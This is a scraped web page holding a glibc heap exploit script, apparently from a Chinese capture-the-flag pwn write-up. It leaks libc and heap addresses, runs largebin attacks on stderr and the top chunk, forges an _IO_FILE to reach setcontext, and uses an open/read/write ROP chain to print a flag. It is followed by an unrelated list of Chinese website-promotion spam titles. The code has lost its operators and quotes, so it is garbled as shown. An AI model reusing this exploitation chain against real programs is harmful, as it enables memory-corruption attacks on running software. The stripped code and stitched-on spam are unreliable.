add(0,0x420) add(1,0x430) add(2,0x418) delete(0) add(3,0x440)# 将0_chunk放入largebin之中从而泄露heap与libc地址 show(0) r.recvuntil(Context:\n) libc_base u64(r.recv(8))-0x21A0D0 heap_base u64(r.recv(16)[8:])-0x290pop_rax_ret libc_base0x0000000000045eb0 pop_rdi_ret libc_base0x000000000002a3e5 pop_rsi_ret libc_base0x000000000002be51 pop_rdx_r12_ret libc_base0x000000000011f497 stderr_addr libc_base0x21a860 setcontext_addr libc_base0x53A30 read_addr libc_base0x114980 write_addr libc_base0x114A20 close_addr libc_base0x115100 syscall libc_base0x91396 ret libc_base0x0000000000029cd6ioaddrheap_base0xb00 fake_io_addr heap_base0xb00# fake_IO_FILE缺少0x10头部 fake_IO_FILE p64(0)*6# 伪造的_wide_data结构体 fake_IO_FILE p64(1)p64(0)# fake_IO_FILE p64(fake_io_addr0xb0)#_IO_backup_basesetcontext_rdx fake_IO_FILE p64(setcontext_addr61)#_IO_save_endcall addr(call setcontext) fake_IO_FILE fake_IO_FILE.ljust(0x58, b\x00) fake_IO_FILE p64(0) # _chain fake_IO_FILE fake_IO_FILE.ljust(0x78, b\x00) fake_IO_FILE p64(heap_base0x1000) # _lock a writable address fake_IO_FILE fake_IO_FILE.ljust(0x90, b\x00) fake_IO_FILE p64(fake_io_addr0x30)#_wide_data,rax1_addr fake_IO_FILE fake_IO_FILE.ljust(0xB0, b\x00) fake_IO_FILE p64(0) # _mode 0 fake_IO_FILE fake_IO_FILE.ljust(0xC8, b\x00) fake_IO_FILE p64(libc_base0x2160c00x10) # vtableIO_wfile_jumps0x10 fake_IO_FILE p64(0)*6 fake_IO_FILE p64(fake_io_addr0x40) # rax2_addr flagaddr heap_base0x17d0payload1 fake_IO_FILEp64(flagaddr)p64(0)*6p64(heap_base0x2050)p64(ret)delete(2) add(6,0x418,payload1) delete(6) #largebin attack stderr pointer edit(0,p64(libc_base0x21A0D0)*2p64(heap_base0x290)p64(stderr_addr-0x20)) add(5,0x440) add(7,0x430,bflag\x00) add(8,0x430) #ROP payload2 flat([pop_rdi_ret,0,close_addr,pop_rdi_ret,flagaddr,pop_rsi_ret,0,pop_rax_ret,2,syscall,pop_rdi_ret,0,pop_rsi_ret,flagaddr,pop_rdx_r12_ret,0x50,0,read_addr,pop_rdi_ret,1,write_addr ]) add(9,0x430,payload2) delete(5) add(10,0x450,p64(0)p64(1)) delete(8) #largebin attack top_chunk-size edit(5,p64(0x21A0E0)*2p64(heap_base0x1370)p64(heap_base0x28e0-0x203))success(hex(libc_base)) success(hex(heap_base)) #gdb.attach(r) cat() r.sendlineafter(cat choice:\n,1) r.sendlineafter(cat idx:\n,str(11)) pwndbg() r.sendlineafter(cat size:\n,str(0x450))r.interactive()
http://www.lakalapos1.cn/news/35775/

相关文章:

  • 自己弄个网站要多少钱wordpress+分辨+模版
  • 广州市海珠区建设局网站网络营销推广方法和策略
  • cmstop百度推广整体优化网站
  • 网站建设思路设计淘宝购物网站的建设
  • 旅游商城网站订单处理简约的网站设计
  • 以营销导向型建设网站方案我要发布文章到网站上推广 哪些网站最好
  • 玉树营销网站建设网站设计公司 无锡
  • 做鲜花配送网站需要准备什么咸宁 网站建设
  • 如何能让网站尽快备案通过比亚迪新能源汽车e2
  • 城乡与住房建设部网站首页wordpress更好用吗
  • 自建网站怎么做后台管理系统什么是友情链接?
  • 海口网约车公司哪家好优化网站具体如何做
  • 谁可以做网站优化排名推广张店网站制作价格低
  • 杭州高端网站设计公司排行榜百度
  • 豪华跑车网站建设企业seo年度
  • 中文绿色环保网站模板最新seo教程
  • 南宁的网站建设wordpress+search+sql
  • 海南微信网站制作平台重庆城市建设集团官方网站
  • 兰州网站推广优化杭州百度快照优化排名
  • 一下成都网站建设公司wordpress设置阅读全文
  • wordpress占用内存过大西安seo天勤网络营销
  • 网页设计与制作精品课程网站书生网站
  • 网站建设劳务协议投简历的平台
  • 一级做爰网站成都小程序开发公司找哪家
  • 在校学生兼职网站建设网站建设免费维护
  • 网站备案注册wordpress分类目录标题使用自定义
  • 教育门户网站系统建设方案app定制开发公司选择
  • 百度蜘蛛站长服务平台东城做网站
  • 大连自助建站扬州市网站建设
  • 自己做简单的网站合肥响应式网站开发